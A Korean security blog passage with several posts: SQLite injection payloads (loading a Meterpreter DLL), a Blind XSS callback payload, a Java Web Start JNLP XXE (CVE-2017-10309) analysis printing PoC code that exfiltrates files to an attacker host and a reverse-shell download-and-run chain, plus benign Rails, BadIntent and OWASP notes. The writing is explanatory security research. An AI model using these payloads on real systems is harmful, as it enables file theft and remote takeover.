Payload3 - load_extension을 이용한 동적 라이브러리 로드


load_extension이라는 재미있는 메소드가 있습니다. 이 메소드는 sqlite에서 외부 라이브러리를 로드할 수 있게 해줍니다.

int sqlite3_load_extension(
  sqlite3 *db,          /* Load the extension into this database connection */
  const char *zFile,    /* Name of the shared library containing extension */
  const char *zProc,    /* Entry point.  Derived from zFile if 0 */
  char **pzErrMsg       /* Put error message here if not 0 */
);

load_extension으로 악의적인 라이브러리(쉘)을 호출하게 되면 쉘 접근 권한을 획득할 수 있을겁니다.

UNION SELECT 1,load_extension('meterpreter.dll','DllMain')


Payload4 - PRAGMA문을 이용한 Information Leakage

PRAGMA는 SQLite에서 라이브러리 쿼리를 하기 위해 사용됩니다.
이를 활용하면 연결되는 DB데이터나 파일 저장위치 등 시동 쿼리로 수행할 수 없는 부분을 처리할 수 있습니다.

먼저 database_list나  index_list로 연결되는 DB간의 관계를 파악할 수 있습니다.

PRAGMA database_list
PRAGMA [database.]index_list( table_name ) ;

단일 쿼리로 위험한건 아니지만 공격자가 Injection 쿼리를 통해 여러 정보를 알아가는데 사용될 수 있습니다. (조회된 결과로 인해 조회문 뒤에 이어지는 쿼리의 내용이 바뀌겠지요. 더 알차게!)

temp_store_directory를 조작해서 DB파일이 저장될 위치를 바꿀 수 있습니다.
PRAGMA temp_store_directory = '/path';

딱봐도 위험한 부분이고, 해당 PRAGMA 는 사용할 수 없도록 패치되었습니다.

사용할 수 없다고 한다.

물론 해당 구문을 처리하던 SQLite 버전의 경우 먹히겠죠 :)

이외에도 많은 문법이 있습니다. 잘 활용하면 추가적인 취약점 체크에 사용할 수 있겠지요.

자세한 내용은 pragma 문서 참고해주세요.
https://sqlite.org/pragma.html

Defence

SQL Injection 에 대한 대안은 입력값 검증이 일반적입니다만..

$name = sqlite_escape_string($name);
$result = @$db->query("SELECT * FROM users WHERE username = '{$name}'");
// 알아서 이렇게 짜면 얼마나 좋을까

SQLite측에서 load_extension, ATTACH 문에 대한 적절한 제한이 필요할 것 같습니다.
(물론 이게 굉장히 어렵겠죠. 기능성과 직결되어있어서..)

Reference

https://sqlite.org/c3ref/load_extension.html
https://www.blackhat.com/docs/us-17/wednesday/us-17-Feng-Many-Birds-One-Stone-Exploiting-A-Single-SQLite-Vulnerability-Across-Multiple-Software.pdf
http://www.sqlitetutorial.net/sqlite-attach-database/
https://sqlite.org/pragma.html
Share: | Coffee Me:

[RUBY] ROR DB Column 추가하기(Add column from Ruby on Rails Database)


메모할겸 작성합니다.
rails에서 이미 만들어진 db 스키마를 바꾸기 위해선 migration 으로 가능합니다.

#> rails g migration AddColumnToArray column:string

Array: 추가시킬 table
Column: 추가할 column

dbconsole에서 생성된 부분 확인하고, 이후 각각 View 영역에 추가했지만..

#> rails dbconsole
.sqlite3> select * from logs;


에러가 발생합니다. 안됩니다. 허허헣 분명 db도 들어갔고, View 구간도 처리해줬는데 뭐가 문젠가 했더니 컨트롤러 부분에 파라미터 값 허용 부분이 있더군요 =_=

params 쪽에 보면 허용할 값들이 정해져있고, 해당 부분에도 추가하면 끝

    def log_params
      params.require(:log).permit(:key, :url, :ip, :time, :referer)
    end

Reference

http://relaxwrighting.tistory.com/entry/RUBY-ON-RAILS-Model-수정-컬럼-추가하기

Share: | Coffee Me:

11/12/2017

[WEB HACKING] Blind XSS(Cross-Site Scripting) and Vulnerability Testing

오늘은 Blind XSS에 대한 이야기를 잠깐 할까합니다. 보편적인 XSS와 비슷하고, 테스트 또한 동일하지만 주말동안 Blind XSS에 대해 고민해보니 "아차" 하고 생각난 부분이 있었습니다.

Blind XSS?

먼저 Blind XSS에 대해 정리하고 시작하죠.

XSS에 대해 테스팅할 때 우리는 노출되는 결과, 즉 최종적으로 DOM 영역에 쓰이는 데이터를 가지고 분석을 하게 되는데요. 가끔 이런 분석 자체가 불가능한 경우들이 있습니다.

대표적으로 사이트의 신고, 문의 기능 같이 사용자에게 전혀 노출이 되지 않고 관리자 데이터로 넘어가는 경우이지요. 물론 직접 관리 페이지까지 볼 수 있다면 XSS가 잘 들어갔는지 확인할 수 있지만 아닌 경우도 있습니다.

이런 경우를 Blind XSS라고 부릅니다. Blind SQL Injection 과 같이 눈에 보이지 않는 상태에서 XSS가 성공했는지, 실패했는지 체크하고 이를 이용한 공격을 의미하죠.

사실 최근까지 저 또한 Blind XSS라고 따로 부르지는 않았습니다. 그저 XSS였을 뿐이죠.
천천히 이 Blind XSS에 대해 생각해보니 미쳐 발견하지 못하던 포인트를 찾을 수 있을거란 생각이 들었습니다.

Why so serious?

vignette.wikia.nocookie.net/doctorwhogeneral/images/2/27/Why_so_serious_Joker.jpg

XSS 영향력 자체는 워낙 잘 알려져있고 유연성 또한 매우 높기 때문에 발견 가능성 대비 위험한 취약점입니다. Blind XSS를 이용하면 우리가 볼 수 없는 영역에서 노출된 스크립트의 동작 여부를 체크해볼 수 있습니다.

즉, 공격자도 눈에 보이지 않는 여러 루트의 공격 가능성을 찾아갈 수 있는거죠.

대체로 Blind XSS는 문의하기 같은 부분으로 설명되어 있지만 잘 생각해보면 우리가 테스트하는 모든 XSS는 Blind XSS의 가능성을 가지게 됩니다. XSS 코드가 노출되는 영역 즉, 프론트 페이지에선 필터링 되는 사이트라면 분명 데이터베이스에는 XSS가 코드가 그대로 들어가 있습니다. 물론 반대의 경우에도 디코딩 과정때문에 동작할 수 있겠지만요.

이 데이터가 어떻게 사용되고 노출되는지 공격자는 모릅니다. 여기서 확인이 가능하다면 데이터가 엮여있는 여러 페이지를 체크해가면 찾아볼 수 있습니다. 확인이 불가능한 영역은 알 수 없겠지요.

다만 XSS 코드가 확인할 수 없는 다른 영역(관련 없는 사이트, 내부망, 관리 페이지 등)에서 노출된다면 영향력이 존재하게 됩니다. 이를 통해 내부망까지 노려볼 수 있는 XSS 공격이 가능해진다는 걸 공격자도 알 수 있기 때문에 더더욱 위험합니다.

How to check?

사실 Blind XSS가 가능한 부분은 너무나도 많습니다. 대표적으론 문의, 신고 기능부터 게시글, 사용자가 입력 가능한 부분은 모두 포함될 수 있습니다. 내부에서 데이터들을 어떻게 사용하고 가공하느냐에 따라 무궁무진한 것 같습니다.

일단 스크립트에 동작했는지 여부를 확인하는 코드를 넣고, 그 결과를 다른 곳에서 받아줘야 합니다.

<img src="z" onerror="document.write('<img src=http://192.168.56.1/hwul style=width:1px;height:1px');">

이런식으로 구성해볼 수 있겠네요. 이 코드가 동작하면 DOM에 <img> 태그로 새로운 GET 요청을 발생시키고 이를 통해 서버에선 코드가 실행되었단걸 확인할 수 있어집니다.


이런 비슷한 구조로 테스팅하는 도구가 Burp의 collaborator 기능입니다.
(collaborator도 따로 구축해서 사용하면 굉장히 편리합니다. 이걸로 명령 실행이나 Injection 찾기가 굉장히 수월하죠)


Conclusion

처음 이야기드린 아차 한 부분이 글에 잘 나타났을지는 모르겠네요.
바로

모든 XSS 구문에 가능성이 있고 특수 사용자에게 트리거 될 가능성이 높다는 점입니다. 

잘 생각해보면 가능성을 놓치고 있었을 거란 생각이 드네요.

마지막으로 관련해서 테스팅툴을 하나 만들고 있습니다.
https://github.com/hahwul/hbxss

딱 Blind XSS 테스팅용 툴로 만들고 기능이 많진 않아 금방 완료할 것 같네요. 다 만들어지면 사용법 정도 포스팅해보겠습니다 :)
Share: | Coffee Me:

11/06/2017

[EXPLOIT] JAVA SE Web start JNLP XXE 취약점 분석(CVE-2017-10309, feat Metasploit)

요즘 시간내기가 왜이리 어려운건지.. 덕분에 오랜만에 취약점 분석글을 작성하네요.
오늘은 지난 10월 말 공개된 JAVA SE 관련 XXE 취약점에 대해 이야기할까 합니다.

Vulnerability Metrics

JAVA SE 8 버전 u131 빌드 이전에 발생하는 취약점입니다. XXE를 통해 파일 탈취, SSRF, 코드실행(환경에 따라) 등 여러가지 공격이 가능합니다.

>v8u131

보편적으로 XXE 취약점은 서버단에서 동작하는 케이스가 많습니다만 이 취약점의 경우 클라이언트단 코드 실행으로 사용자를 대상으로한 웹 기반 공격에 사용될 수 있습니다.

CVSS로 풀어보면 아래와 같습니다.

CIA: P/P/P
Access Vector: network
Access Complexity: medium
Auth: none
(AV:N/AC:M/Au:N/C:P/I:P/A:P)

XXE이기 때문에 영향력은 확실하네요.

JNLP?


Java Network Launch Protocol(JNLP)의 약자로 원격지의 웹 서버에서 돌아가고 있는 응용프로그램에 대해 명령을 전달하는 프로토콜입니다. Java 플러그인이나 JWS(Java Web Start)에서도 사용되고 있죠.

https://docs.oracle.com/javase/tutorial/deployment/deploymentInDepth/jnlp.html


JNLP API
 - FileOpenService API
 - FileSaveService API
 - ClipboardService API
 - PrintService API
 - PersistenceService API
 - DownloadService API
 - DownloadServiceListener API
 - SingleInstanceService AP
 - ExtendedService API

자세한 내용은 https://docs.oracle.com/javase/8/docs/jre/api/javaws/jnlp/javax/jnlp/package-summary.html 참조

JNLP는 Registry(HKEY_CLASSES_ROOT\jnlp\Shell\Open\Command\Default)에 등록된 jp2launcher.exe 를 사용해서 동작하고,
대체로 jre/bin 아래 존재합니다.

C:\Program Files\Java\jre1.8.0_131\bin\jp2launcher.exe" -securejws "%1"

재미있는건 JRE가 JNLP 프로토콜을 만날 때 별도의 커스텀 프로토콜 등록 과정(아마 JRE 설치 시 포함됬을 것 같네요)이 없어도 동작이 가능하다는 점입니다. 예를들면..

<iframe src="jnlp://192.168.56.101/test.jnlp"></iframe>

이런 구문이 웹상에서 있을 때 웹 브라우저는 jnlp 프토토콜을 통해 192.168.56.101 서버와 통신을 하게됩니다.
그럼 의문이 생기겠죠? 이게 왜 위험하게 된걸까?

Vulnerability

JNLP는 XML을 파싱하여 명령을 수행합니다. 공식홈에서 제공하는 코드를 보면 XML 안에 <jnlp> 태그로 선언이 이루어집니다. 그 안에 각각 태그로 어플리케이션에 대한 정보를 넘겨주고, 응답을 받은 Java SE(Client)는 이 요청에 따라 명령을 수행하게됩니다.

<?xml version="1.0" encoding="UTF-8"?>
<jnlp spec="1.0+" codebase="" href="">
    <information>
        <title>Dynamic Tree Demo</title>
        <vendor>Dynamic Team</vendor>
        <icon href="sometree-icon.jpg"/>
        <offline-allowed/>
    </information>
    <resources>
        <!-- Application Resources -->
        <j2se version="1.6+" href=
           "http://java.sun.com/products/autodl/j2se"/>
        <jar href="DynamicTreeDemo.jar"
            main="true" />

    </resources>
    <application-desc
         name="Dynamic Tree Demo Application"
         main-class="webstartComponentArch.DynamicTreeApplication"
         width="300"
         height="300">
     </application-desc>
     <update check="background"/>
</jnlp>

여기서 봐야할부분은 XML을 이용한 통신입니다. 예전이나 지금이나 XML에 관련된 공격 기법은 자꾸 늘어나고 있고 현재 웹 공격의 메타인 XXE까지 시도해볼 수 있는 부분들이 많이 있겟지요.

코드 보기에 앞서 JWS의 동작 순서만 조금 정리해봅시다.

1. 클라이언트의 웹 브라우저가 JWS App내 JNLP 프로토콜(jnsp://~~)로 접근
2. 웹 서버는 요청하는 JNLP 파일을 반환(해당 데이터는 XML)
3. 클라이언트는 JNLP 파일에 있는 Jar 파일의 경로를 참조하여 다운로드 후 main 메소드 호출
4. Java App 구동 시작

정상적인 JWS<->JNLP 구동은 이런 순서로 이루어집니다. 이 취약점에서는 3번 항목에 ENTITY 구문을 넣어 XXE로 구동 시킨 경우입니다.

1. 클라이언트의 웹 브라우저가 JWS App내 JNLP 프로토콜(jnsp://~~)로 접근
2. 웹 서버는 요청하는 JNLP 파일을 반환(해당 데이터는 XML)
3. 클라이언트는 JNLP 파일에 있는 Jar 파일의 경로를 참조하여 다운로드 후 main 메소드 호출
  + <ENTITY> 구문을 통해 공격자가 원하는 동작 수행
  + 여기부턴 일반적인 XXE 구문과 동일
4. Java App 구동 시작

실제 공격코드는 ..

<!ENTITY %% data SYSTEM "file:///%s">
<!ENTITY %% param1 "<!ENTITY &#x25; exfil SYSTEM 'http://%s:9090/leaked?%%data;'>">

이런식으로 구성되고 윗줄은 %s(파라미터값 중 파일이름)를 읽어 파일을 가져오고 그 내용을 data 에 저장한 후
다음 구문에서 원격지 주소(공격자)로 data 값을 포함한 GET 요청을 던지도록 구성되어있습니다.

XXE를 이용해서 파일 내용을 탈취하는 구문으로 보시면 됩니다.

자 이제 PoC 코드를 볼까요?

PoC Code

정말 아주 단순합니다. 페이지 자체에 jnlp를 사용해서 링크를 걸고 해당 데이터엔 XXE 구문을 넣어주기만 하면 끝이죠.
공개된 PoC에선 파일을 읽어 공격자에게 전송하는 코드로 만들었네요.

전체 코드(https://www.exploit-db.com/exploits/43103/)

def do_GET(self) 함수로 웹 요청을 처리합니다. URI Path 값을 기준으로 if로 분기해서 각각 때에 맞는 동작을 수행하지요.

/leaked
        if "leaked" in self.path:
            print "(+) stolen: %s" % self.path.split("?")[1]
            self.send_response(200)
            self.end_headers()

leaked 부분은 흐름상 마지막 부분입니다. XXE롤 통해 넘어온 정보(파일의 내용)을 받아 공격자 서버로 print 해줍니다.


/
        elif self.path == "/":
            print "(!) firing webstart..."
            self.send_response(200)
            self.end_headers()
            message = """
            <html>
            <body>
            <iframe src="jnlp://%s:9090/%s" style="width:0;height:0;border:0; border:none;"></iframe>
            </body>
            </html>
            """ % (ip, path)
            self.wfile.write(message)
            self.wfile.write('\n')
/ 는 첫 호출 시 iframe으로 jnlp 프로토콜을 호출하는 과정입니다. 다만 jnlp 프로토콜을 호출해서 동작할 수 있는 태그들에 대해 테스트좀 해봐야할 것 같네요.
iframe, object, embed 는 될 것 같고.. img나 이런 범용적인 친구들중에 나오면 나이스일듯



/si.xlm 
        elif "si.xml" in self.path:
            print "(!) downloading si.xml..."
            self.send_response(200)
            self.end_headers()
            message = """
            <!ENTITY %% data SYSTEM "file:///%s">
            <!ENTITY %% param1 "<!ENTITY &#x25; exfil SYSTEM 'http://%s:9090/leaked?%%data;'>">
            """ % (file, ip)
            self.wfile.write(message)
            self.wfile.write('\n')

si.xml을 호출하는 과정은 jnlp 코드가 로드된 이후입니다. jnlp 프로토콜로 si.xml을 호출하게 되고 여기에는 실제 공격구문이 들어가게 되죠.


Other
        elif path in self.path:
            print "(!) downloading jnlp..."
            self.send_response(200)
            self.end_headers()
            message = """
            <?xml version="1.0" ?>
            <!DOCTYPE r [
            <!ELEMENT r ANY >
            <!ENTITY %% sp SYSTEM "http://%s:9090/si.xml">
            %%sp;
            %%param1;
            %%exfil;
            ]>
            """ % ip
            self.wfile.write(message)
            self.wfile.write('\n')
        return

jnlp 코드가 호출되면 XXE 코드를 통해 payload가 담긴 진짜 XXE 코드를 불러오게 됩니다.


Exploit

#> python exp.py 'C:/Program Files/Java/jre7/README.txt'

Oracle Java Web Start JNLP XML External Entity Processing Information Disclosure Vulnerability
mr_me 2017

(+) select your interface: lo, wlp1s0, enx00e04c560cd5, docker0: enx00e04c560cd5
jnlp://192.168.56.1:9090/yapjayuflm.jnlp
(+) starting xxe server...
(+) have someone with Java SE installed visit: http://192.168.56.1:9090/
(!) firing webstart...

Poc 구동 시 웹 서버가 활성화되고(파이썬) 9090 포트를 열어 요청에 대기합니다.
클라이언트 접근 시


jnlp 프로토콜을 주소로하는 iframe 코드를 생성하여 사용자로 하여금 해당 페이지에 접근하게 합니다. jnlp 프로토콜이기 때문에 jnlp 파일을 다운로드하고 그 안에 xml 코드를 실행하게 되죠.

xml가 정상적으로 실행되면 내부에 있던 XXE 구문으로 인해 공격자가 지정한 파일의 값을 읽어 공격자 콘솔로 넘겨줍니다.

<!ENTITY %% data SYSTEM "file:///%s">
<!ENTITY %% param1 "<!ENTITY &#x25; exfil SYSTEM 'http://%s:9090/leaked?%%data;'>">



README.txt 파일을 잘 읽어왔네요.

Other scenario

사용자 대상 공격이라 아마 거의 없을 듯 하지만.. 혹시라도 php와 expect 모듈이 깔려있다면 쉽게 쉘까지 획득 가능할겁니다.

먼저 payload 파일을 만들어줍니다.

#> hvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -f exe -o p.exe
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai chosen with final size 360
Payload size: 360 bytes
Final size of exe file: 73802 bytes
Saved as: p.exe

그리고 공격구문엔 p.exe를 다운로드 하는 구문과 실행하는 구문을 넣어 XXE가 동작할때 payload를 실행하도록 합니다.

<!ENTITY test SYSTEM "expect://bitsadmin /transfer get http://192.168.56.1/p.exe %cd%p.exe">
<!ENTITY test SYSTEM "expect://start p.exe">

※ 여기서 팁 하나, 윈도우에서 파워쉘을 사용하지 않아도 bitsadmin 명령으로도 파일 다운로드가 가능합니다. 

자 이제 handler 돌려주시고..

HAHWUL exploit(handler) > exploit -z
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 192.168.56.1:4444

XXE를 동작시켜보면


Reference

https://www.exploit-db.com/exploits/43103/
https://docs.oracle.com/javase/tutorial/deployment/deploymentInDepth/jnlp.html
https://docs.oracle.com/javase/8/docs/jre/api/javaws/jnlp/javax/jnlp/package-summary.html
Share: | Coffee Me:

10/30/2017

[HACKING] BadIntent - Android 취약점 분석을 위한 Burp Suite Extension

BlackHat 자료 보던 중 괜찮은 Android 취약점 분석 도구가 있어 공유드립니다. 아직 자료가 많이 없어 삽질이 좀 많습니다. 양해 부탁드립니다.

오늘 이야기할 툴은 BadIntent입니다.

What is BadIntent?

BadIntent는 Burp suite의 확장기능입니다. Burp에 BadIntent를 붙여놓고 안드로이드 기기에 설치한 Bad Intent 앱으로부터 앱 구동 시 발생하는 정보를 전송받아 분석가에게 테스트를 할 수 있도록 제공해줍니다.

대표적으로 intent sniffing, bf , AIDL Test, GCM Attack, Webview vuln, Insecure logging, ACL Issue, PasteBoard Vuln 에 대해서 체크할 수 있다고 공식홈에 설명되어있습니다.

다만 Intent 데이터를 받을 수 있기 떄문에 위에 설명된 부분 이외에도 여러가지 방향으로 테스트해 볼 수 있을듯합니다.


Burp 확장기능, Android 앱으로 구성되어있으며 각각 maven, gradle로 컴파일이 필요합니다. (개발자가 미리 만들어두지 않았네요)

크게 구성을 보면 아래와 같습니다. App에서 다른 App의 데이터를 후킹하고, 그 데이터를 Burp Extension을 통해 Burp interface로 전달해줍니다. 분석가는 Burp를 통해 안드로이드 앱에 대한 동적 분석을 할 수 있습니다.



그럼 다운로드하고 시작해보도록 하죠.

#> git clone https://github.com/mateuszk87/BadIntent.git
#> cd BadIntent

BadIntentBurp

먼저 Burp 확장기능 부터 만들어봅시다. BadIntent 디렉토리 내 BadIntentBurp 디렉토리가 있고 pom.xml 파일이 있는 것으로 보아 maven 프로젝트로 보입니다.

#> cd BadIntentBurp
#> vim pom.xml

pom.xml 내용을 보니 maven이 맞네요. 따로 target.dir 지정하셔도 좋고, 지정 안하면 바로 하위에 target 파일이 생기게 됩니다.

#> cat pom.xml 
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <groupId>de.mat3.badintent</groupId>
  <artifactId>badintent-burp</artifactId>
  <version>0.9.9.9</version>
  <name>badintent</name>
  <description>BadIntent Burp Plugin</description>
 
    <properties>
       <deploy.target.dir>/home/hahwul/</deploy.target.dir>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
    </properties>

mvn을 이용해 패키지를 생성해볼까요?

#> mvn clean package
[INFO] Scanning for projects...
[INFO]                                                                       
[INFO] ------------------------------------------------------------------------
[INFO] Building badintent 0.9.9.9
[INFO] ------------------------------------------------------------------------
Downloading: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-clean-plugin/2.5/maven-clean-plugin-2.5.pom
Downloaded: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-clean-plugin/2.5/maven-clean-plugin-2.5.pom (4 KB at 2.4 KB/sec)
Downloading: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-plugins/22/maven-plugins-22.pom
Downloaded: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-plugins/22/maven-plugins-22.pom (13 KB at 23.0 KB/sec)
Downloading: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/21/maven-parent-21.pom

target 디렉토리로 가서 보면..

#> cd target
#> ls
archive-tmp  badintent-burp-0.9.9.9-jar-with-dependencies.jar  badintent-burp-0.9.9.9.jar  classes  generated-sources  maven-archiver

jar 파일이 생성되었습니다. Burp로 들어가서 해당 jar 파일을 로드시켜줍니다.
(badintent-burp-0.9.9.9.jar)


BadIntentAndroid

안드로이드 디렉토리로 들어가서 gradle로 apk를 만들어줍니다.
#> cd BadIntentAndroid
#> gradle assemble

or

아래 따로 트러블슈팅 내용도 적긴했지만 혹시 과정에 문제가 많다면 xpose에 올라온 apk 파일로 설치하는 것도 좋습니다.

http://repo.xposed.info/module/de.mat3.badintent



apk 를 받았다면 테스트할 폰에 깔아줍니다.

#> adb install badintent.apk 
434 KB/s (2768885 bytes in 6.227s)
pkg: /data/local/tmp/badintent.apk
Success



Conclusion

위에 앱에서 대충 써놓은 것 처럼 후킹할 패키지와 인터페이스에 대해 필터를 건 후 앱 동작 시 Burp Suite로 데이터가 넘어오게 됩니다. 대체로 앱 내 웹, API 요청에 대한 분석도 모바일 취약점 분석에서 많은 부분을 차지하기 떄문에 Burp, Fiddler와 같은 툴과의 연동성은 굉장히 좋은 장점으로 보입니다.

https://github.com/mateuszk87/BadIntent/raw/master/doc/img/main.png

※ TroubleShooting

설치 과정 중 발생했던 문제 관련해서 남겨눕니다. maven쪽은 별거 없었는데, gradle 에서 많이 걸렸습니다.

1. Minimum supported Gradle version is 2.14.1. 오류
apk를 만들기 위해 assemble 과정에서 아래와 같은 에러가 발생합니다.

#> gradle assemble
To honour the JVM settings for this build a new JVM will be forked. Please consider using the daemon: https://docs.gradle.org/2.10/userguide/gradle_daemon.html.

FAILURE: Build failed with an exception.

* Where:
Build file '/home/hahwul/Noon/BadIntent/BadIntentAndroid/app/build.gradle' line: 1

* What went wrong:
A problem occurred evaluating project ':app'.
> Failed to apply plugin [id 'com.android.application']
   > Minimum supported Gradle version is 2.14.1. Current version is 2.10. If using the gradle wrapper, try editing the distributionUrl in /home/hahwul/Noon/BadIntent/BadIntentAndroid/gradle/wrapper/gradle-wrapper.properties to gradle-2.14.1-all.zip

* Try:
Run with --stacktrace option to get the stack trace. Run with --info or --debug option to get more log output.

BUILD FAILED

Total time: 3.977 secs

먼저 에러 내용에서 나오는 것과 같이 gradle-wrapper.properties에서 distributionUrl을 2.14 이후로 올려주면 됩니다만, BadIntent의 경우 기본 3.0 대로 지정되어 있습니다.

고민하고 검색하다보니 간단한데 답이 있었습니다. 바로 gradle 자체 버전으로 인한 문제였습니다.
아래 블로그를 보시면 각각 gradle 버전에서 지원할 수 있는 plugins의 버전이 다르다는 것을 알 수 있습니다.

http://creaby.tistory.com/6

기존 2.1에서 상위버전으로 올려야겠습니다.

#> gradle -v

------------------------------------------------------------
Gradle 2.10
------------------------------------------------------------

Build time:   2016-01-26 15:17:49 UTC
Build number: none
Revision:     UNKNOWN

Groovy:       2.4.5
Ant:          Apache Ant(TM) version 1.9.6 compiled on July 8 2015
JVM:          1.8.0_131 (Oracle Corporation 25.131-b11)
OS:           Linux 4.4.0-97-generic amd64

ppa 등록 후 apt 통해 상위 버전으로 설치합니다.

#> add-apt-repository ppa:cwchien/gradle
#> apt-get update
#> apt-cache search gradle
android-platform-tools-base - base tools for developing applications for the Android system
gradle-debian-helper - Helper tools for building Debian packages with Gradle
gradle-doc - Powerful build system for the JVM - Documentations
gradle-propdeps-plugin - Gradle plugin enhancing the Maven integration
libgradle-core-java - Powerful build system for the JVM - Core libraries
libgradle-jflex-plugin-java - Gradle plugin for JFlex, a scanner generator
libgradle-plugins-java - Powerful build system for the JVM - All plugins
gradle - Gradle is a Groovy based build system
gradle-ppa - Gradle is a Groovy based build system
gradle-3.0 - Gradle is a Groovy based build system
gradle-3.1 - Gradle is a Groovy based build system
gradle-3.2 - Gradle is a Groovy based build system
gradle-3.2.1 - Gradle is a Groovy based build system
gradle-3.3 - Gradle is a Groovy based build system
gradle-3.4 - Gradle is a Groovy based build system
gradle-3.4.1 - Gradle is a Groovy based build system
gradle-3.5 - Gradle is a Groovy based build system
gradle-4.0 - Gradle is a Groovy based build system
gradle-4.0.1 - Gradle is a Groovy based build system
gradle-3.5.1 - Gradle is a Groovy based build system
gradle-4.0.2 - Gradle is a Groovy based build system
gradle-4.1 - Gradle is a Groovy based build system
gradle-4.2 - Gradle is a Groovy based build system
gradle-4.2.1 - Gradle is a Groovy based build system

#> apt-get install gradle-3.0
#> gradle -v

------------------------------------------------------------
Gradle 3.0
------------------------------------------------------------

Build time:   2016-08-15 13:15:01 UTC
Revision:     ad76ba00f59ecb287bd3c037bd25fc3df13ca558

Groovy:       2.4.7
Ant:          Apache Ant(TM) version 1.9.6 compiled on June 29 2015
JVM:          1.8.0_131 (Oracle Corporation 25.131-b11)
OS:           Linux 4.4.0-97-generic amd64


2 .SDK location not found. Define location with sdk.dir in the local.properties file or with an ANDROID_HOME environment variable.

두번째 문제는 ANDROID_HOME 환경변수 관련 문제입니다. 컴파일 시 Android SDK를 사용해야하기 때문에 환경 변수의 값을 참조하게 되어있습니다. 다만 사람에 따라 Android Studio를 사용하지 않을 수 있기 때문에(저 같은 상황) 환경 변수에 SDK가 설치된 경로를 넣어주면 깔끔하게 해결됩니다.

#> env | grep ANDROID_HOME
#> export ANDROID_HOME=/home/hahwul/Other/android/sdk/
#> env | grep ANDROID_HOME
ANDROID_HOME=/home/hahwul/Other/android/sdk/


3. You have not accepted the license agreements of the following SDK components:   [Android SDK Build-Tools 25.0.3].
(http://doctorson0309.tistory.com/42, 참고)
이 문제는 SDK에 라이센스 동의가 되지 았았다는 이야기로 보입니다.

Warning: License for package Android SDK Build-Tools 25.0.3 not accepted.

FAILURE: Build failed with an exception.

* What went wrong:
A problem occurred configuring project ':app'.
> You have not accepted the license agreements of the following SDK components:
  [Android SDK Build-Tools 25.0.3].
  Before building your project, you need to accept the license agreements and complete the installation of the missing components using the Android Studio SDK Manager.
  Alternatively, to learn how to transfer the license agreements from one workstation to another, go to http://d.android.com/r/studio-ui/export-licenses.html


sdk 디렉토리로 이동 후 license 디렉토리를 만들어줍니다.

#> mkdir license

그다음 licenses 디렉토리에 있는 android-sdk-license 파일을 license 디렉토리로 복사해줍니다.

#> licenses
#> cp android-sdk-license ../license

그러고 다시 해보면..

#> gradle assemble
License for package Android SDK Build-Tools 25.0.3 accepted.

Reference

https://github.com/mateuszk87/BadIntent
http://creaby.tistory.com/6
http://doctorson0309.tistory.com/42
Share: | Coffee Me:

10/23/2017

[WEB HACKING] OWASP Top 10 2017 RC2 Review (신규 항목 및 개인적인 의견)

지난달 OWASP Top 10 2017년도 버전 RC2가 나왔습니다. RC2 버전은 기존 RC1에서 개선되어 발표되는 버전이고 몇가지 만족스러운 변화가 있었습니다.

오늘은 OWASP Top 10 2017 RC2의 변화된 사항과 개인적인 의견을 전달드리려 합니다.


OWASP Top 10 2017 RC2

OWASP github에 공개되어 있습니다.
https://github.com/OWASP/Top10/blob/master/2017/OWASP%20Top%2010%202017%20RC2%20Final.pdf

기존 2017 RC1에서 3가지 사항에 변경이 있었습니다.

OWASP Top 10 2017 RC2 Final.pdf


새로 추가된 사항

요약하자면 XXE, Deserialization 관련, 로깅&모니터링 관련 사항이 추가되었습니다.
아래에서도 이야기드리겠지만 새로 추가된 것중 2가지는 현업 종사자로써 만족스러운 부분이기도 하네요.

A4. XXE(XML External Entity)

XXE 취약점은 XML을 파싱하는 과정에서 ENTITY 속성을 이용한 공격입니다. XML이라는 범위와 공격 형태가 정해져있지만 최근 많은 공격이 발생하고 있고 XXE 제로데이 또한 잘 올라오고 있습니다.

알게모르게 많은 어플리케이션들은 XML을 사용합니다. 웹, 프로그램부터 여러가지로 사용되고 있고 대부분 검증이 잘 되지 않아 XML Injection을 통한 ENTITY 호출로 시스템 명령이나 파일 탈취되기도 합니다.

아무래도 리스크가 높고 취약 포인트를 잡았을때 결과까지 만들어가기 쉬운편이라 중요하게 보아야할 것 같습니다.

올 5월에 온라인 문서 파서에서 유용한 ooxml xxe 관련해서 포스팅했었으니 참고 부탁드립니다 :)
http://www.hahwul.com/2017/05/web-hacking-ooxml-xxe.html


A8. Insecure Deserialization

두번째는 역직렬화 취약점입니다. Deserialize는 역직렬화로 파일에 쓰인 객체를 어플리케이션이 로드하여 사용할 수 있게 도와줍니다. 이 과정에서 임의로 명령실행이나 권한 상승이 가능한 객체를 생성하여 전달해주니다.

공격자는 이를 이용해서 악의적인 객체를 넘겨주고 어플리케이션이 이를 로드하는 과정에서 검증되지 않은 객체를 만들어 공격자가 의도한 행위가 실행됩니다.

최근에 Struts2 RCE 취약점이 있었는데 해당 취약점도 Deserialization으로 인한 취약점이였습니다.

(http://www.hahwul.com/2017/09/exploit-struts2-rest-plugin-xstream-rce.html)

Struts2 취약점에서의 Deserialization


A10. Insufficient Logging & Monitoring

서비스에 대한 로깅과 모니터링에 대한 부분입니다. 공격에 대해서 빠르게 감지하고 대응하려면 로깅과 모니터링이 잘 이루어지고 있어야하지만 지켜지지 않는 경우도 많다고 합니다. 최근부터 OWASP가 단순히 취약점 이외에 항목들, 보안성에 대한 이야기를 하기 때문에 이런 형태의 항목들도 추가가 되고 있습니다. 웹 취약점 진단 시 이런것도 체크하면 좋을 것 같네요. (테스팅이 안되면 질의서라도...핳)

Conclusion

